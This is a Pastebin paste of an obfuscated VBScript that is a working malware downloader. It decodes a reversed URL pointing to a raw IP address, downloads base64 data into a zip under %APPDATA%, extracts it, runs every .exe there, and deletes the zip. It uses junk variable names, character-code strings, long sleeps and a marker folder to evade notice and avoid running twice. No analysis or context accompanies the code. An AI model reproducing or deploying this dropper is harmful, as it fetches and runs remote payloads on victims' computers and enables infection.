Advertisement
Guest User

Untitled

a guest
Jan 26th, 2020
208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.15 KB | None | 0 0
  1. Option Explicit
  2. DIM DZIP,N_VR,STPASTALOKA,PSTLM,NMEXE,CLK,qsuxACDFIKMNPRUVXZacehikmnpruwxzACEFJKMNPRSWX,OBJmnpqsuvxACEFHIKNPRU,objFeSO
  3. DZIP = StrReverse("osi.SDOMKCIRTSND/9844:25.731.081.53//:ptth")
  4. Set OBJmnpqsuvxACEFHIKNPRU = CreateObject( "WScript.Shell" )
  5. qsuxACDFIKMNPRUVXZacehikmnpruwxzACEFJKMNPRSWX =OBJmnpqsuvxACEFHIKNPRU.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37)))
  6. N_VR = "A99449C3092CE70964CE715CF7BB75B.zip"
  7. WScript.Sleep 100
  8. PSTLM = qsuxACDFIKMNPRUVXZacehikmnpruwxzACEFJKMNPRSWX + "\newspains"
  9. OQRTWYZdegijmoq
  10. STPASTALOKA = PSTLM
  11. WScript.Sleep 100
  12. TEMMORRE
  13. WScript.Sleep 100
  14. DVdgiknqstvxy
  15. WScript.Sleep 32303
  16. XCzADFIKMNRSUVZacefhiknprsuwxzCEFHJKMPRSUWXZce
  17. WScript.Sleep 32210
  18. DCijmortvwyzB
  19. WScript.Sleep 2424
  20. DCmoptuwxzBCEGJLMOPRTUWYZbce
  21. Function DCmoptuwxzBCEGJLMOPRTUWYZbce()
  22. Dim ClqtJLMORTWYabdeijlnoqLM,jrthiknqsuvxyCDFHw,jxtUWXbcfhjkmorsuw,ColtQSVXadfgiklpqsuvy
  23. Set ClqtJLMORTWYabdeijlnoqLM = WScript.CreateObject( "WScript.Shell" )
  24. WScript.Sleep 70
  25. Set jrthiknqsuvxyCDFHw = CreateObject( "Scripting.FileSystemObject" )
  26. WScript.Sleep 50
  27. Set jxtUWXbcfhjkmorsuw = jrthiknqsuvxyCDFHw.GetFolder(PSTLM)
  28. WScript.Sleep 40
  29. WScript.Sleep 50
  30. Set ColtQSVXadfgiklpqsuvy = jxtUWXbcfhjkmorsuw.Files
  31. WScript.Sleep 60
  32. WScript.Sleep 50
  33. For Each ColtQSVXadfgiklpqsuvy in ColtQSVXadfgiklpqsuvy
  34. If UCase(jrthiknqsuvxyCDFHw.GetExtensionName(ColtQSVXadfgiklpqsuvy.name)) = UCase(Chr(69)) & UCase(Chr(88)) &UCase(Chr(69)) Then
  35. NMEXE = ColtQSVXadfgiklpqsuvy.Name
  36. ClqtJLMORTWYabdeijlnoqLM.Exec(PSTLM & UCase(Chr(92)) & ColtQSVXadfgiklpqsuvy.Name)
  37. WScript.Sleep 44
  38. End If
  39. Next
  40. End Function
  41. Function GTEK( myPassPhrase )
  42. Dim i, arrCode( )
  43. ReDim arrCode( Len( myPassPhrase ) - 1 )
  44. For i = 0 To UBound( arrCode )
  45. arrCode(i) = Asc( Mid( myPassPhrase, i + 1, 1 ) )
  46. Next
  47. GTEK = arrCode
  48. End Function
  49. Function XCzADFIKMNRSUVZacefhiknprsuwxzCEFHJKMPRSUWXZce()
  50. DIM ClqtJLMORTWYabdeijlnoq,FilesInZip
  51. set ClqtJLMORTWYabdeijlnoq = CreateObject("Shell.Application")
  52. set FilesInZip=ClqtJLMORTWYabdeijlnoq.NameSpace(PSTLM & UCase(Chr(92)) & N_VR).items
  53. ClqtJLMORTWYabdeijlnoq.NameSpace(PSTLM & UCase(Chr(92))).CopyHere(FilesInZip), UCase(Chr(52))
  54. Set ClqtJLMORTWYabdeijlnoq = Nothing
  55. End Function
  56. Function DCijmortvwyzB()
  57. DIM jrthiknqsuvxyCDFHxsd
  58. Set jrthiknqsuvxyCDFHxsd = Createobject("Scripting.FileSystemObject")
  59. jrthiknqsuvxyCDFHxsd.DeleteFile PSTLM & UCase(Chr(92)) & N_VR
  60. End Function
  61. Function tOvxzACDFIKMNPQ( myFileIn, myFileOut, arrCode )
  62. Dim i, jrthiknqsuvxyCDFH, ColtQSVXadfgiklpqsuvyIn, ColtQSVXadfgiklpqsuvyOut, objStreamIn
  63. Const ForAppending = 8
  64. Const ForReading = 1
  65. Const ForWriting = 2
  66. Const TristateFalse = 0
  67. Const TristateMixed = -2
  68. Const TristateTrue = -1
  69. Const TristateUseDefault = -2
  70. On Error Resume Next
  71. If Not IsArray( arrCode ) Then
  72. arrCode = Array( arrCode )
  73. End If
  74. For i = 0 To UBound( arrCode )
  75. If Not IsNumeric( arrCode(i) ) Then
  76.  
  77. Encode = 1032
  78. Exit Function
  79. End If
  80. If arrCode(i) < 0 Or arrCode(i) > 255 Then
  81.  
  82. Encode = 1031
  83. Exit Function
  84. End If
  85. Next
  86. Set jrthiknqsuvxyCDFH = CreateObject( "Scripting.FileSystemObject" )
  87. If jrthiknqsuvxyCDFH.FileExists( myFileIn ) Then
  88. Set ColtQSVXadfgiklpqsuvyIn = jrthiknqsuvxyCDFH.GetFile( myFileIn )
  89. Set objStreamIn = ColtQSVXadfgiklpqsuvyIn.OpenAsTextStream( ForReading, TriStateFalse )
  90. Else
  91. Encode = 53
  92. objStreamIn.Close
  93. Set objStreamIn = Nothing
  94. Set ColtQSVXadfgiklpqsuvyIn = Nothing
  95. Set jrthiknqsuvxyCDFH = Nothing
  96.  
  97. Exit Function
  98. End If
  99. If jrthiknqsuvxyCDFH.FileExists( myFileOut ) Then
  100. ' Error 58: File already exists
  101. Encode = 58
  102. ' Close input file and release objects
  103. objStreamIn.Close
  104. Set objStreamIn = Nothing
  105. Set ColtQSVXadfgiklpqsuvyIn = Nothing
  106. Set jrthiknqsuvxyCDFH = Nothing
  107. ' Abort
  108. Exit Function
  109. Else
  110. Set ColtQSVXadfgiklpqsuvyOut = jrthiknqsuvxyCDFH.CreateTextFile( myFileOut, True, False )
  111. End If
  112. i = 0
  113. Do Until objStreamIn.AtEndOfStream
  114. i = ( i + 1 ) \ ( UBound( arrCode ) + 1 )
  115. ColtQSVXadfgiklpqsuvyOut.Write Chr( Asc( objStreamIn.Read( 1 ) ) Xor arrCode(i) )
  116. Loop
  117. ColtQSVXadfgiklpqsuvyOut.Close
  118. objStreamIn.Close
  119. Set objStreamIn = Nothing
  120. Set ColtQSVXadfgiklpqsuvyIn = Nothing
  121. Set ColtQSVXadfgiklpqsuvyOut = Nothing
  122. Set jrthiknqsuvxyCDFH = Nothing
  123. Encode = Err.Number
  124. Err.Clear
  125. On Error Goto 0
  126. End Function
  127. Function DVdgiknqstvxy()
  128. DIM req
  129. Set req = CreateObject("Msxml2.XMLHttp.6.0")
  130. req.open "GET", DZIP, False
  131. req.send
  132. If req.Status = 200 Then
  133. Dim oNode, BinaryStream
  134. Const adTypeBinary = 1
  135. Const adSaveCreateOverWrite = 2
  136. Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
  137. oNode.dataType = "bin.base64"
  138. oNode.text = req.responseText
  139. Set BinaryStream = CreateObject("ADODB.Stream")
  140. BinaryStream.Type = adTypeBinary
  141. BinaryStream.Open
  142. BinaryStream.Write oNode.nodeTypedValue
  143. BinaryStream.SaveToFile PSTLM & UCase(Chr(92)) & N_VR, adSaveCreateOverWrite
  144. End if
  145. End Function
  146. Function OQRTWYZdegijmoq()
  147. dim mqXFFRJUWm
  148. Set mqXFFRJUWm = CreateObject("Scripting.FileSystemObject")
  149. If (mqXFFRJUWm.FolderExists((PSTLM) )) Then
  150. WScript.Quit()
  151. End If
  152. End Function
  153. Function TEMMORRE()
  154. SET objFeSO = CREATEOBJECT("Scripting.FileSystemObject")
  155. IF objFeSO.FolderExists(qsuxACDFIKMNPRUVXZacehikmnpruwxzACEFJKMNPRSWX + "\OLEDAT") = TRUE THEN WScript.Quit() END IF
  156. IF objFeSO.FolderExists(STPASTALOKA) = FALSE THEN
  157. objFeSO.CreateFolder STPASTALOKA
  158. objFeSO.CreateFolder OBJmnpqsuvxACEFHIKNPRU.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37))) + "\OLEDAT"
  159. END IF
  160. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement